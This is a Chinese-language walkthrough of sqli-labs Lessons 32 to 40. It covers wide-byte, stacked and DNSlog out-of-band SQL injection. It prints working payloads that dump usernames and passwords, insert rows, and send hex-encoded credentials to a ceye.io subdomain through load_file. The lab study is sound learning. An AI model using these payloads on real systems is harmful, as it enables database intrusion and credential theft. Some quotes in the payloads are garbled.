less32-40

less-32(宽字节注入)

查看源码 if(isset($_GET['id'])) $id=check_addslashes($_GET['id']);

在’ “ \ 等敏感字符前面添加反斜杠

function check_addslashes($string)
{ # \ 转换为 \
$string = preg_replace(‘/‘. preg_quote(‘\‘) .’/‘, “\\\“, $string); 将 # 将 ‘ 转为"
$string = preg_replace(‘/'/i’, ‘\'‘, $string);
# 将 “ 转为"
$string = preg_replace(‘/"/‘, “\"“, $string);
return $string;

}

用%df 吃掉 源码里的\,
payload:
?id=-1%df’ union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)–+

less-33

也是和less-32一样

less-34

POST型的注入,转义方式和less-33一样

将UTF-8转换为UTF-16或者UTF-32,例如将’转换为utf-16为: �’。我们可以利用这一点注入。

使用�’ or 1=1#

less-35

有点简单 payload ?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+

less-36

用之前的方法依旧可行 payload ?id=-1%df' union select 1,2,database() --+ 或者

Payload
?id=-1�’ union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) –+

less-37

与less-36一样

在进入less-38前对一些知识了解

什么是UNC路径?

U/C路径就是类似\\softer这样的形式的网络路径

bnslog参考链接:

http://dnslog.cn/ http://ceye.io

(头疼) DNSlog注入产生 测试一些网站的时候,一些注入都是无回显的,可以通过写脚本来进行盲注,但有些网站会ban掉我们的ip, 可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。

DNSlog注入应用场景
sql注入的盲注、无回显的命令执行、无回显的SSRF

DNSlog注入原理
有一个可以配置的域名(比如:ceye.io),然后通过代理商设置域名(ceye.io)的 nameserver 为自己的服务器 A,
然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,

DNSlog需要条件:
MySQL 开启 load_file()
DNSLog 平台 (Hyuga、CEYE)
Windows 平台

dnslog payload(我失败了):
?id=1’;select load_file(concat(‘\\‘,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),’.gvc791.ceye.io\abc’))–+

然后在:

http://www.soolco.com/post/68806_1_1.html
https://codingnote.cc/zh-tw/p/113368/

解释的很好(对我个人来说)

堆叠注入 MySQL 的命令行中,每一条语句以;结尾,这代表语句的结束, 如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。 如:select * from users where id = 1;select version();

局限性
1、并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
2、在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略

这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,
我们还需要了解数据库的相关信息才可以,如表名、列名等

less-38

以前的源码 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql);

变成了现在的:
Php
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
if (mysqli_multi_query($con1, $sql))

mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。
这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
因为执行sql语句时使用了mysqli_multi_query()函数,才使我们能够使用堆叠查询。

union
?id=-1’ union select 1,version(),database() –+

堆叠
?id=1’;insert into users(username,password) values (‘hello’,’world’);
添加字段值
insert into users(username,password) values (‘hello’,’world’);
这个倒是看明白了,但是 国光的其它注入倒是不怎么明白

噢。第一条语句才是会回显的第二条是不回显的

less-39

与less-38一样

less-40

用万能语句套进去 payload ?id=1') and 1=2 union select 1,2,database() --+